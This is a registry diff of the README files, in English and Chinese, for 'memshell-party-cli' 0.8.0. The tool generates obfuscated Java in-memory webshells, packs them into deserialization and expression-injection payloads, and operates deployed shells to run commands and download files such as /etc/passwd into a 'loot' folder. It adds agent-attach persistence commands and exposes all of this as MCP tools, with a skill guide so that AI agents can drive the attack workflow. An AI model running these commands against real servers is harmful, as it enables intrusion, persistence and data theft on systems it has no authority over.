memshell-party-cli 0.7.0 → 0.8.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.en.md CHANGED
@@ -19,6 +19,7 @@ same HTTP API that powers `party.mem.mk/ui`.
19
19
  with auto-saved target names ready to reuse.
20
20
  - **MCP server** — `memparty mcp` exposes generation and config as tools for Claude and other MCP clients.
21
21
  - **All endpoints** — memshell generate, probe generate, config listing, class-name parsing, version.
22
+ - **Bytecode tools** — decode, rename, relocate, instrument, obfuscate and pack arbitrary `.class` files.
22
23
  - **Connection testing** — `memparty connect` verifies a deployed Godzilla / Behinder / suo5 shell
23
24
  is alive and the credentials work (echo/handshake round-trip).
24
25
  - **Command execution** — `memparty exec` runs a command on a deployed Godzilla / Behinder shell
@@ -106,12 +107,13 @@ memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 \
106
107
  --godzilla-pass pass --godzilla-key key -o shell.class --json
107
108
  ```
108
109
 
109
- `--jdk` accepts `java6/8/9/11/17/21`, a bare number (`8`), or a raw class-file major version (`52`).
110
+ `--jdk` accepts `java6/8/9/11/17/21/25`, a bare number (`8`), or a raw class-file major version (`52`).
110
111
 
111
- Note: some packers (e.g. `Base64`) are *aggregate* packers and return several variants at once;
112
- pick a leaf packer (e.g. `DefaultBase64`, `GzipBase64`) for a single payload — `-o` refuses
113
- aggregate results with an error telling you to pick a leaf. Combining `-o` with `--json` writes
114
- the file and adds `outputFile: {destination, size, decoded}` to the JSON document.
112
+ On v3, parent packers (e.g. `Base64`) are categories, not aggregate generators: pick a concrete
113
+ variant such as `DefaultBase64`. Legacy v2 aggregate results are still supported, but `-o` refuses
114
+ multiple variants. Combining `-o` with `--json` writes the file and adds
115
+ `outputFile: {destination, size, decoded}` to the JSON document. v3 also supports `--obfuscate`,
116
+ `--obfuscation-options key=value,...`, and `--obfuscation-scope` (memshell only).
115
117
 
116
118
  ### Discovering options
117
119
 
@@ -120,6 +122,8 @@ memparty config servers # servers and their shell types
120
122
  memparty config tools Tomcat # tools + types for one server
121
123
  memparty config packers # packer parent/child tree
122
124
  memparty config command # Command encryptors & implementation classes
125
+ memparty config tool-configs # v3 tool parameters and enum options
126
+ memparty config obfuscation # v3 obfuscation option reference
123
127
  memparty config servers --json # machine-readable
124
128
  ```
125
129
 
@@ -127,6 +131,7 @@ memparty config servers --json # machine-readable
127
131
 
128
132
  ```bash
129
133
  memparty probe -m ResponseBody -c Command -p DefaultBase64 --server Tomcat --req-param-name cmd
134
+ memparty probe -m ResponseHeader -c Server -p DefaultBase64 --server Unknown
130
135
  memparty probe -m Sleep -c Server -p DefaultBase64 --sleep-server Tomcat --seconds 5
131
136
  ```
132
137
 
@@ -136,7 +141,10 @@ Probe method × content matrix (only these combos are supported by the backend):
136
141
  |-------------|-------------------------|
137
142
  | `DNSLog` | `Server`, `JDK` |
138
143
  | `Sleep` | `Server` |
139
- | `ResponseBody` | `Command`, `Bytecode`, `Filter`, `ScriptEngine` |
144
+ | `ResponseBody`, `ResponseHeader` | `Server`, `Command`, `Bytecode`, `Filter`, `ScriptEngine` |
145
+
146
+ `ResponseHeader` is v3+. Use `--resp-header-name` to set the response header; `--server Unknown`
147
+ discovers the middleware and requires `--req-param-name` to identify the live request.
140
148
 
141
149
  ### Testing a deployed shell
142
150
 
@@ -157,7 +165,7 @@ memparty connect -u http://target/suo5.jsp -t suo5
157
165
 
158
166
  Shells generated by MemShellParty are gated by an auth header — the values are in the
159
167
  `gen --json` output as `shellToolConfig.headerName` / `headerValue` and **must** be passed along
160
- (the Suo5v2 shell checks it too):
168
+ (the Suo5 shell checks it too):
161
169
 
162
170
  ```bash
163
171
  memparty connect -u http://target/x -t godzilla --pass pass --key key \
@@ -167,6 +175,28 @@ memparty connect -u http://target/x -t godzilla --pass pass --key key \
167
175
  Other flags: `-H "Name: value"` for extra headers, `-k/--insecure` for self-signed TLS,
168
176
  `--json` for machine-readable output, `--timeout <ms>` (global option).
169
177
 
178
+ Use `ws://` / `wss://` for Godzilla WebSocket and RawWebSocket shells. Tomcat Upgrade keeps an
179
+ HTTP URL and requires `--upgrade-protocol <fully-qualified-shell-class-name>`; it is saved with
180
+ named targets. Generate `GodzillaSession` with its own tool name, then connect with `-t godzilla`;
181
+ the client relays the HTTP session cookie.
182
+
183
+ ### Agent arguments and bytecode tools
184
+
185
+ `--agent-args persist=true` and `--agent-args restore=true` are load-time Agent arguments, not
186
+ generation DTO fields. The CLI and MCP return both `java -jar agent.jar <pid> persist=true` and
187
+ `jattach <pid> load instrument false agent.jar=persist=true` examples; use `restore=true` to restore.
188
+
189
+ ```bash
190
+ memparty bytecode decode -f Payload.class
191
+ memparty bytecode transform -f Payload.class \
192
+ --relocate-from javax.servlet --relocate-to jakarta.servlet -o JakartaPayload.class
193
+ memparty bytecode transform -f Payload.class --server Tomcat \
194
+ --probe-method ResponseHeader -p DefaultBase64 -o Probe.class --json
195
+ ```
196
+
197
+ Input can also be a Base64 argument or stdin. With no packer, `-o` writes the transformed class;
198
+ otherwise it writes the packed result. The MCP equivalents are `bytecode_decode` and `bytecode_transform`.
199
+
170
200
  ### Executing commands on a deployed shell
171
201
 
172
202
  `memparty exec` runs a command line through a deployed Godzilla / Behinder shell and prints the
@@ -306,10 +336,10 @@ memparty gen -s Tomcat -t Godzilla -y Listener -p JavaCommonsBeanutils19 \
306
336
 
307
337
  ```bash
308
338
  # Spring SpEL injection -> define + load the shell class (Spring uses Interceptor, not Filter)
309
- memparty gen -s SpringWebMvc -t Command -y Interceptor -p SpEL \
339
+ memparty gen -s SpringWebMvc -t Command -y Interceptor -p SpELScriptEngine \
310
340
  --command-param-name cmd --jdk java8
311
341
  # OGNL (Struts2), EL, MVEL, Aviator, JEXL, JXPath, Groovy, Velocity, Freemarker, JinJava ...
312
- # (SpEL/OGNL/JXPath are *aggregate* packers — they return several variants at once)
342
+ # On v3, SpEL/OGNL/JXPath are categories; choose a concrete child packer.
313
343
  ```
314
344
 
315
345
  ### 6. Drop a JSP file
@@ -373,7 +403,7 @@ Example Claude Code / Claude Desktop config:
373
403
  ```
374
404
 
375
405
  Exposed tools: `list_servers`, `list_config`, `list_packers`, `list_command_configs`,
376
- `generate_memshell`, `generate_probe`, `parse_classname`, `server_version`, `connect_test`,
406
+ `list_shell_tool_configs`, `list_obfuscation_options`, `generate_memshell`, `generate_probe`, `bytecode_decode`, `bytecode_transform`, `parse_classname`, `server_version`, `connect_test`,
377
407
  `exec_command`, `download_file`, `upload_file`, `target_save`, `target_note`, `target_list`,
378
408
  `target_remove`, `log_list`.
379
409
 
@@ -386,7 +416,7 @@ write result.
386
416
 
387
417
  The package ships `skills/memshell-party/SKILL.md` — a workflow guide for agents (server / tool /
388
418
  type / packer decision tree, probe matrix, packer-by-scenario guidance, mimic site profiles, and
389
- common gotchas such as Jakarta vs javax, JDK targeting, aggregate vs leaf packers).
419
+ common gotchas such as Jakarta vs javax, JDK targeting, packer categories vs concrete variants).
390
420
 
391
421
  Install with the built-in command (re-run after a CLI upgrade to refresh; restart the agent so it
392
422
  picks the skill up):
package/README.md CHANGED
@@ -12,6 +12,7 @@
12
12
  |------|------|
13
13
  | **生成内存马** | 约 17 种中间件/框架(Tomcat、Jetty、JBoss、WebLogic、SpringWebMvc、Undertow、Resin、Struts2…),9 种工具(哥斯拉、冰蝎、蚁剑、Command、suo5、NeoreGeorg、Proxy、自定义 class),Listener/Filter/Servlet/Agent 等多种挂载方式,60+ 种打包器(Base64、JSP、反序列化链、SpEL/OGNL 表达式注入、AgentJar…) |
14
14
  | **盲探测 probe** | 不知道目标是什么中间件时,先用 DNSLog / Sleep / 回显探测服务器类型和 JDK 版本 |
15
+ | **字节码工具** | 解码任意 class,改名、包名替换、添加入口方法、混淆、回显 Wrapper 和打包 |
15
16
  | **连马验证 connect** | 用真实协议握手验证马是否存活、密码对不对(哥斯拉/冰蝎/suo5/mimic) |
16
17
  | **执行命令 exec** | 在已部署的哥斯拉/冰蝎马上执行命令,自动识别 Windows/Linux |
17
18
  | **传文件 upload/download** | 大文件自动分块,传完校验完整性(哥斯拉比大小、冰蝎比 MD5) |
@@ -140,6 +141,7 @@ memparty skill install --user --claude
140
141
  |------|--------|
141
142
  | `memparty gen` | 生成内存马(不带参数进入交互向导) |
142
143
  | `memparty probe` | 生成探测马,盲测目标中间件/JDK |
144
+ | `memparty bytecode` | 解码、转换和打包任意 `.class` |
143
145
  | `memparty connect` | 验证马是否存活、凭据对不对 |
144
146
  | `memparty exec` | 在马上执行命令 |
145
147
  | `memparty upload` / `download` | 通过马上传/下载文件 |
@@ -172,11 +174,27 @@ memparty exec web1 --cmd "whoami"
172
174
  memparty download web1 /etc/passwd -o loot/passwd
173
175
  ```
174
176
 
175
- 生成时的两个细节:
177
+ 生成时的几个细节:
176
178
 
177
179
  - `-o` 和 `--json` 可以同时用:文件照常写盘,JSON 里多一个 `outputFile` 字段(路径、大小、是否解码)。
178
- - 聚合 packer(如 `Base64`,一次返回多个变体)不能配 `-o`,会报错提示你换成叶子 packer(如 `DefaultBase64`)。
180
+ - v3 中 `Base64` 等父项只是 packer 分类,要选具体变体(如 `DefaultBase64`);旧 v2 后端仍支持聚合 packer,但不能配 `-o`。
181
+ - v3 支持 `--obfuscate`、`--obfuscation-options key=value,...`、`--obfuscation-scope`(仅内存马)和 `--jdk java25`。
182
+ - 探测支持 `-m ResponseHeader`;可用 `--resp-header-name` 指定回显头,未知中间件时 `--server Unknown`。
179
183
  - 走 MCP 时,`generate_memshell` / `generate_probe` 有个 `outputFile` 参数,效果同上。
184
+ - Agent 加载参数使用 `--agent-args persist=true` 或 `--agent-args restore=true`;它是 attach 参数,不会发送给生成 API。JSON 和终端会给出 `java -jar agent.jar <pid> persist=true`、`jattach <pid> load instrument false agent.jar=persist=true` 示例。
185
+ - 哥斯拉 WebSocket / RawWebSocket 使用 `ws://` 或 `wss://` 地址;Tomcat Upgrade 使用 HTTP 地址并加 `--upgrade-protocol <shellClassName>`。`GodzillaSession` 生成后仍选 `-t godzilla` 连接,客户端会保留会话 Cookie。
186
+
187
+ ### 字节码转换
188
+
189
+ ```bash
190
+ memparty bytecode decode -f Payload.class
191
+ memparty bytecode transform -f Payload.class \
192
+ --relocate-from javax.servlet --relocate-to jakarta.servlet -o JakartaPayload.class
193
+ memparty bytecode transform -f Payload.class --server Tomcat \
194
+ --probe-method ResponseHeader -p DefaultBase64 -o Probe.class --json
195
+ ```
196
+
197
+ 也支持 Base64 参数或标准输入。`-o` 在没有 packer 时写转换后的 class;有 packer 时写打包结果。MCP 对应 `bytecode_decode` / `bytecode_transform`。
180
198
 
181
199
  拿不准有哪些合法取值,直接问后端(这些名字就是参数里要填的值):
182
200
 
@@ -184,6 +202,8 @@ memparty download web1 /etc/passwd -o loot/passwd
184
202
  memparty config servers # 支持哪些中间件
185
203
  memparty config tools Tomcat # 这个中间件支持哪些工具和挂载类型
186
204
  memparty config packers # 打包器列表(按投放方式选)
205
+ memparty config tool-configs # v3 各工具的参数名和枚举值
206
+ memparty config obfuscation # v3 混淆参数参考
187
207
  ```
188
208
 
189
209
  每个命令都能加 `--help` 看详细参数和例子;完整参数参考见 [英文 README](README.en.md)。